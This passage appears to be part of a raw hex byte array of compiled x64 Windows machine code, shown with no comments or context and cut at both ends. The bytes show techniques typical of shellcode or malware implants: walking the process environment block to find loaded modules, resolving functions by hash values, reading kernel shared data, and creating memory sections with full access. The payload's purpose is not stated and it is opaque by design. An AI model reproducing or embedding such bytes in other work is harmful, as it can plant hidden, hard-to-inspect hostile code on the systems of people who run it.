00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x28,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x95,0x50,0x06,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x9A,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0xC7,0x85,0x30,0x0B,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0x8D,0x85,0x30,0x0B,0x00,0x00,0x48,0x89,0x85,0x20,0x0B,0x00,0x00,0x48,0x8D,0x85,0x50,0x06,0x00,0x00,0x48,0x89,0x85,0x28,0x0B,0x00,0x00,0x48,0x8D,0x85,0xC8,0x0B,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB6,0xF7,0xFF,0xFF,0x89,0x85,0x5C,0x0C,0x00,0x00,0x83,0xBD,0x5C,0x0C,0x00,0x00,0x00,0x0F,0x84,0x67,0x04,0x00,0x00,0xC7,0x85,0xE0,0x0B,0x00,0x00,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0xE8,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xF8,0x0B,0x00,0x00,0x02,0x00,0x00,0x00,0x48,0xC7,0x85,0xF0,0x0B,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x00,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x08,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x95,0xE0,0x0B,0x00,0x00,0x48,0x8D,0x85,0x38,0x0C,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x10,0x48,0x89,0xC1,0xE8,0x4C,0x6D,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x0F,0x88,0xEB,0x03,0x00,0x00,0x48,0x8D,0x95,0xE0,0x0B,0x00,0x00,0x48,0x8D,0x85,0x30,0x0C,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x10,0x48,0x89,0xC1,0xE8,0x0D,0x6D,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x0F,0x88,0xAF,0x03,0x00,0x00,0x48,0xC7,0x85,0x18,0x0C,0x00,0x00,0xF8,0x00,0x00,0x00,0x48,0x8D,0x8D,0x18,0x0C,0x00,0x00,0x48,0x8D,0x95,0xE0,0x0B,0x00,0x00,0x48,0x8D,0x85,0x28,0x0C,0x00,0x00,0x48,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x08,0xC7,0x44,0x24,0x20,0x04,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x1F,0x00,0x0F,0x00,0x48,0x89,0xC1,0xE8,0x86,0x67,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x0F,0x88,0x53,0x03,0x00,0x00,0x48,0x8B,0x85,0x28,0x0C,0x00,0x00,0x48,0x8D,0x8D,0x20,0x0C,0x00,0x00,0xC7,0x44,0x24,0x48,0x04,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x01,0x00,0x00,0x00,0x48,0x8D,0x95,0x10,0x0C,0x00,0x00,0x48,0x89,0x54,0x24,0x30,0x48,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x00,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0xC7,0xC2,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC1,0xE8,0xAE,0x6F,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x0F,0x88,0xE7,0x02,0x00,0x00,0x48,0x8D,0x95,0x4C,0x0C,0x00,0x00,0x8B,0x85,0x90,0x0C,0x00,0x00,0x89,0xC1,0xE8,0x01,0xFC,0xFF,0xFF,0x89,0x85,0x5C,0x0C,0x00,0x00,0x83,0xBD,0x5C,0x0C,0x00,0x00,0x00,0x0F,0x84,0xC3,0x02,0x00,0x00,0x8B,0x85,0x90,0x0C,0x00,0x00,0x48,0x89,0x85,0xD0,0x0B,0x00,0x00,0x8B,0x85,0x4C,0x0C,0x00,0x00,0x89,0xC0,0x48,0x89,0x85,0xD8,0x0B,0x00,0x00,0x48,0x8D,0x8D,0xD0,0x0B,0x00,0x00,0x48,0x8D,0x95,0xE0,0x0B,0x00,0x00,0x48,0x8D,0x85,0x40,0x0C,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x00,0x08,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD9,0x6E,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x0F,0x88,0x6F,0x02,0x00,0x00,0x48,0x8D,0x95,0x50,0x05,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xB9,0x1F,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0xC7,0x85,0x50,0x05,0x00,0x00,0xF8,0x00,0x00,0x00,0x48,0x8D,0x85,0x20,0x0B,0x00,0x00,0x48,0x89,0x85,0xF8,0x05,0x00,0x00,0x48,0x8B,0x85,0x30,0x0C,0x00,0x00,0x48,0x89,0x85,0x20,0x06,0x00,0x00,0x48,0x8B,0x85,0x38,0x0C,0x00,0x00,0x48,0x89,0x85,0x18,0x06,0x00,0x00,0xC7,0x85,0x00,0x06,0x00,0x00,0x05,0x40,0x00,0x80,0xC7,0x85,0x38,0x06,0x00,0x00,0x01,0x00,0x00,0xC0,0xE8,0x27,0x09,0x00,0x00,0x89,0x85,0x40,0x06,0x00,0x00,0x8B,0x85,0x90,0x0C,0x00,0x00,0x89,0x85,0x54,0x05,0x00,0x00,0x48,0x8B,0x85,0x98,0x0C,0x00,0x00,0x48,0x89,0x85,0x08,0x06,0x00,0x00,0x8B,0x85,0x4C,0x0C,0x00,0x00,0x89,0x85,0x58,0x05,0x00,0x00,0x48,0x8B,0x85,0x40,0x0C,0x00,0x00,0x48,0x89,0x85,0x10,0x06,0x00,0x00,0x48,0x8D,0x55,0xD0,0xB8,0x00,0x00,0x00,0x00,0xB9,0xAF,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x66,0xC7,0x45,0xD2,0x78,0x05,0x66,0xC7,0x45,0xD0,0x50,0x05,0xC7,0x45,0xF8,0x00,0x00,0x00,0x20,0xC7,0x45,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x28,0x0C,0x00,0x00,0x48,0x89,0x45,0x08,0x48,0x8B,0x85,0x30,0x0C,0x00,0x00,0x48,0x89,0x45,0x18,0x48,0x8B,0x85,0x38,0x0C,0x00,0x00,0x48,0x89,0x45,0x10,0x48,0x8B,0x85,0x28,0x0C,0x00,0x00,0x48,0x89,0x45,0x20,0x48,0x8B,0x85,0x08,0x06,0x00,0x00,0x48,0x89,0x45,0x28,0x48,0x8B,0x85,0x10,0x06,0x00,0x00,0x48,0x89,0x45,0x30,0x8B,0x85,0x54,0x05,0x00,0x00,0x89,0x45,0x04,0x48,0x8B,0x05,0x4A,0x3E,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x78,0x05,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x3B,0x3E,0x01,0x00,0xFF,0xD0,0x48,0x89,0x85,0x60,0x0C,0x00,0x00,0x48,0x83,0xBD,0x60,0x0C,0x00,0x00,0x00,0x0F,0x84,0x26,0x01,0x00,0x00,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x66,0xC7,0x40,0x02,0x78,0x05,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x66,0xC7,0x00,0x50,0x05,0x48,0x8B,0x85,0x20,0x0C,0x00,0x00,0x48,0x8D,0x95,0x50,0x05,0x00,0x00,0x41,0xB8,0xF8,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x67,0xAC,0x00,0x00,0x48,0x8B,0x95,0x60,0x0C,0x00,0x00,0x48,0x8D,0x45,0xD0,0x48,0x89,0xC1,0xE8,0xB1,0xF7,0xFF,0xFF,0x89,0x85,0x5C,0x0C,0x00,0x00,0x83,0xBD,0x5C,0x0C,0x00,0x00,0x00,0x0F,0x84,0xCE,0x00,0x00,0x00,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x8B,0x40,0x2C,0x85,0xC0,0x0F,0x88,0xBF,0x00,0x00,0x00,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x8B,0x40,0x28,0x3D,0x02,0x00,0x00,0x20,0x0F,0x85,0xAD,0x00,0x00,0x00,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x8B,0x40,0x30,0x89,0xC0,0x48,0x89,0x85,0x50,0x0C,0x00,0x00,0x48,0x83,0xBD,0x50,0x0C,0x00,0x00,0x00,0x0F,0x84,0x8F,0x00,0x00,0x00,0x48,0x8B,0x85,0x50,0x0C,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB4,0x60,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x81,0xBD,0x58,0x0C,0x00,0x00,0x02,0x01,0x00,0x00,0x74,0x2B,0x83,0xBD,0x58,0x0C,0x00,0x00,0x00,0x78,0x22,0x81,0xBD,0x58,0x0C,0x00,0x00,0xC0,0x00,0x00,0x00,0x74,0xBF,0x81,0xBD,0x58,0x0C,0x00,0x00,0x01,0x01,0x00,0x00,0x74,0xB3,0xC7,0x85,0x58,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0xE8,0xD7,0x05,0x00,0x00,0x89,0x85,0x5C,0x0C,0x00,0x00,0xC7,0x85,0x6C,0x0C,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x22,0x90,0xEB,0x1F,0x90,0xEB,0x1C,0x90,0xEB,0x19,0x90,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x85,0x40,0x0C,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x40,0x0C,0x00,0x00,0x48,0x89,0xC1,0xE8,0xAC,0x5B,0x00,0x00,0x48,0x8B,0x85,0x20,0x0C,0x00,0x00,0x48,0x85,0xC0,0x74,0x1C,0x48,0x8B,0x85,0x20,0x0C,0x00,0x00,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0xB8,0x6C,0x00,0x00,0x89,0x85,0x58,0x0C,0x00,0x00,0x48,0x8B,0x85,0x28,0x0C,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x28,0x0C,0x00,0x00,0x48,0x89,0xC1,0xE8,0x69,0x5B,0x00,0x00,0x48,0x8B,0x85,0x30,0x0C,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x30,0x0C,0x00,0x00,0x48,0x89,0xC1,0xE8,0x4E,0x5B,0x00,0x00,0x48,0x8B,0x85,0x38,0x0C,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0x38,0x0C,0x00,0x00,0x48,0x89,0xC1,0xE8,0x33,0x5B,0x00,0x00,0x48,0x8B,0x85,0xC8,0x0B,0x00,0x00,0x48,0x85,0xC0,0x74,0x1E,0x48,0x8B,0x85,0xC8,0x0B,0x00,0x00,0x48,0x89,0xC1,0xE8,0x22,0xF2,0xFF,0xFF,0x48,0x8B,0x85,0xC8,0x0B,0x00,0x00,0x48,0x89,0xC1,0xE8,0x09,0x5B,0x00,0x00,0x48,0x83,0xBD,0x60,0x0C,0x00,0x00,0x00,0x74,0x53,0x48,0x83,0xBD,0x60,0x0C,0x00,0x00,0x00,0x74,0x49,0x48,0x8B,0x85,0x60,0x0C,0x00,0x00,0x41,0xB8,0x78,0x05,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x85,0xAA,0x00,0x00,0x48,0x8B,0x05,0xF6,0x3B,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x95,0x60,0x0C,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xEB,0x3B,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0x60,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x85,0x6C,0x0C,0x00,0x00,0x48,0x81,0xC4,0xF8,0x0C,0x00,0x00,0x5F,0x5D,0xC3,0x90,0x90,0x90,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x60,0x48,0x89,0x4D,0x10,0xE8,0x72,0x59,0x00,0x00,0x48,0x89,0x45,0xF0,0xC7,0x45,0xD4,0x60,0x00,0x00,0x00,0x8B,0x45,0xD4,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xC8,0x48,0x8B,0x45,0xC8,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x8B,0x40,0x18,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x83,0xC0,0x10,0x48,0x89,0x45,0xD8,0x48,0x8B,0x45,0xE0,0x48,0x8B,0x40,0x10,0x48,0x89,0x45,0xF8,0xEB,0x59,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0xF0,0x48,0x39,0xD0,0x72,0x36,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x40,0x30,0x48,0x89,0xC2,0x48,0x8B,0x45,0xF8,0x8B,0x40,0x40,0x89,0xC0,0x48,0x01,0xD0,0x48,0x8B,0x55,0xF0,0x48,0x39,0xC2,0x73,0x19,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x50,0x60,0x48,0x8B,0x45,0x10,0x48,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x1E,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x3B,0x45,0xD8,0x75,0x9D,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x60,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xE0,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xC0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x70,0xFF,0xFF,0xFF,0x0F,0x11,0x45,0x80,0x0F,0x11,0x45,0x90,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x40,0xFF,0xFF,0xFF,0x0F,0x11,0x85,0x50,0xFF,0xFF,0xFF,0x66,0x0F,0xD6,0x85,0x60,0xFF,0xFF,0xFF,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xF3,0xCA,0x00,0x00,0x48,0x89,0xC1,0xE8,0x20,0x1E,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x20,0x0E,0xAE,0x06,0x48,0x89,0xC1,0xE8,0x2E,0x1C,0x00,0x00,0x48,0x89,0x45,0xE0,0x48,0x83,0x7D,0xE0,0x00,0x0F,0x84,0x48,0x02,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0xBD,0xCA,0x00,0x00,0x48,0x89,0xC1,0xE8,0xEA,0x1D,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x1D,0x21,0x88,0x03,0x48,0x89,0xC1,0xE8,0xF8,0x1B,0x00,0x00,0x48,0x89,0x45,0xD8,0x48,0x83,0x7D,0xD8,0x00,0x0F,0x84,0x15,0x02,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x87,0xCA,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB4,0x1D,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x56,0x43,0xDD,0x7B,0x48,0x89,0xC1,0xE8,0xC2,0x1B,0x00,0x00,0x48,0x89,0x45,0xD0,0x48,0x83,0x7D,0xD0,0x00,0x0F,0x84,0xE2,0x01,0x00,0x00,0x48,0x8D,0x45,0xC0,0x48,0x89,0xC1,0xE8,0x21,0xFE,0xFF,0xFF,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x0F,0x84,0xCC,0x01,0x00,0x00,0x48,0x8B,0x05,0xC5,0x39,0x01,0x00,0xFF,0xD0,0x41,0xB8,0x0A,0x02,0x00,0x00,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xB6,0x39,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x0F,0x84,0xA0,0x01,0x00,0x00,0x48,0x8B,0x45,0xF0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x8D,0x15,0x1E,0xCA,0x00,0x00,0x48,0x89,0xC1,0xE8,0x74,0xA8,0x00,0x00,0x48,0x8B,0x55,0xC0,0x48,0x8B,0x45,0xF0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x56,0xA8,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0x89,0x45,0xA8,0x48,0x8B,0x45,0xA8,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x9D,0xA5,0x00,0x00,0x66,0x89,0x45,0xA0,0x0F,0xB7,0x45,0xA0,0x01,0xC0,0x66,0x89,0x45,0xA0,0x0F,0xB7,0x45,0xA0,0x83,0xC0,0x02,0x66,0x89,0x45,0xA2,0xC7,0x85,0x70,0xFF,0xFF,0xFF,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x78,0xFF,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x45,0x88,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xA0,0x48,0x89,0x45,0x80,0x48,0xC7,0x45,0x90,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0x98,0x00,0x00,0x00,0x00,0x48,0x8D,0x95,0x70,0xFF,0xFF,0xFF,0x48,0x8D,0x45,0xB8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x04,0x00,0x48,0x89,0xC1,0xE8,0x57,0x5F,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x88,0xE6,0x00,0x00,0x00,0x48,0x8D,0x85,0x40,0xFF,0xFF,0xFF,0x4C,0x8B,0x45,0xD8,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD0,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x0F,0x84,0xC6,0x00,0x00,0x00,0x48,0x8D,0x85,0x40,0xFF,0xFF,0xFF,0x4C,0x8B,0x55,0xD0,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD2,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x0F,0x84,0x9A,0x00,0x00,0x00,0x48,0x8B,0x45,0xB8,0x48,0x8D,0x95,0x40,0xFF,0xFF,0xFF,0x4C,0x8B,0x4D,0xE0,0x49,0x89,0xD0,0xBA,0x04,0x00,0x00,0x00,0x48,0x89,0xC1,0x41,0xFF,0xD1,0x89,0x45,0xCC,0x83,0x7D,0xCC,0x00,0x74,0x77,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0x3A,0x57,0x00,0x00,0x89,0x45,0xEC,0x48,0xC7,0x45,0xB8,0x00,0x00,0x00,0x00,0x83,0x7D,0xEC,0x00,0x78,0x5D,0x48,0x8D,0x95,0x70,0xFF,0xFF,0xFF,0x48,0x8D,0x45,0xB8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x01,0x00,0x48,0x89,0xC1,0xE8,0x9A,0x5E,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x78,0x3C,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0x98,0x60,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x78,0x2A,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x22,0x90,0xEB,0x1F,0x90,0xEB,0x1C,0x90,0xEB,0x19,0x90,0xEB,0x16,0x90,0xEB,0x13,0x90,0xEB,0x10,0x90,0xEB,0x0D,0x90,0xEB,0x0A,0x90,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x45,0xB8,0x48,0x85,0xC0,0x74,0x0C,0x48,0x8B,0x45,0xB8,0x48,0x89,0xC1,0xE8,0xB0,0x56,0x00,0x00,0x48,0x83,0x7D,0xF0,0x00,0x74,0x54,0x48,0x83,0x7D,0xF0,0x00,0x74,0x4D,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x98,0xA6,0x00,0x00,0x48,0x8D,0x14,0x00,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x28,0xA6,0x00,0x00,0x48,0x8B,0x05,0x99,0x37,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x91,0x37,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x81,0xC4,0xE0,0x00,0x00,0x00,0x5D,0xC3,0x90,0x90,0x90,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x48,0x89,0xC1,0x48,0x8B,0x05,0xCE,0x37,0x01,0x00,0xFF,0xD0,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x48,0x48,0x8D,0x6C,0x24,0x40,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF8,0x2C,0x01,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0x8B,0x5D,0xF8,0x48,0x8B,0x05,0x14,0x37,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x08,0x37,0x01,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x2E,0x8B,0x55,0xF8,0x48,0x8B,0x45,0xF0,0x41,0x89,0xD0,0x48,0x89,0xC2,0x48,0x8D,0x05,0x97,0xC7,0x00,0x00,0x48,0x89,0xC1,0xE8,0x6E,0x00,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x83,0x7D,0xF0,0x00,0x74,0x47,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xF8,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x24,0xA5,0x00,0x00,0x48,0x8B,0x05,0x95,0x36,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x8D,0x36,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x48,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x8D,0x05,0x0C,0xC7,0x00,0x00,0x48,0x89,0xC1,0xE8,0xDF,0x19,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x0B,0x60,0x9C,0x2F,0x48,0x89,0xC1,0xE8,0xED,0x17,0x00,0x00,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x74,0x2A,0x8B,0x4D,0x20,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x4C,0x8B,0x4D,0xF0,0x41,0x89,0xC8,0x48,0x89,0xC1,0x41,0xFF,0xD1,0x89,0x45,0x20,0x83,0x7D,0x20,0x00,0x74,0x0C,0xC7,0x45,0xFC,0x01,0x00,0x00,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xFC,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xC7,0x45,0xF0,0x60,0x00,0x00,0x00,0x8B,0x45,0xF0,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xE8,0x48,0x8B,0x45,0xE8,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x05,0x18,0x01,0x00,0x00,0x8B,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x05,0x76,0x1B,0xB8,0x20,0x03,0xFE,0x7F,0x48,0x8B,0x00,0xBA,0x04,0x00,0xFE,0x7F,0x8B,0x12,0x89,0xD2,0x48,0x0F,0xAF,0xC2,0x48,0xC1,0xE8,0x18,0xEB,0x1A,0xB8,0x00,0x00,0xFE,0x7F,0x8B,0x00,0x89,0xC2,0xB8,0x04,0x00,0xFE,0x7F,0x8B,0x00,0x89,0xC0,0x48,0x0F,0xAF,0xC2,0x48,0xC1,0xE8,0x18,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x57,0x53,0x48,0x81,0xEC,0x60,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x00,0x02,0x00,0x00,0x48,0x89,0x95,0x08,0x02,0x00,0x00,0xC7,0x85,0xDC,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xD8,0x01,0x00,0x00,0x01,0x00,0x00,0xC0,0x48,0xC7,0x85,0xC8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xBC,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xB0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x85,0xD0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8B,0x85,0x08,0x02,0x00,0x00,0xC7,0x00,0x00,0x00,0x00,0x00,0x48,0x83,0xBD,0x00,0x02,0x00,0x00,0x00,0x0F,0x84,0x50,0x02,0x00,0x00,0x48,0x8B,0x95,0x00,0x02,0x00,0x00,0x48,0x8D,0x45,0xB0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x34,0xA3,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x8D,0x95,0xC8,0x01,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x04,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC5,0x52,0x00,0x00,0x89,0x85,0xD8,0x01,0x00,0x00,0x81,0xBD,0xD8,0x01,0x00,0x00,0x1A,0x00,0x00,0x80,0x0F,0x84,0xF8,0x01,0x00,0x00,0x83,0xBD,0xD8,0x01,0x00,0x00,0x00,0x0F,0x88,0xEE,0x01,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x8D,0x8D,0xBC,0x01,0x00,0x00,0x48,0x8D,0x95,0xC0,0x01,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0xB8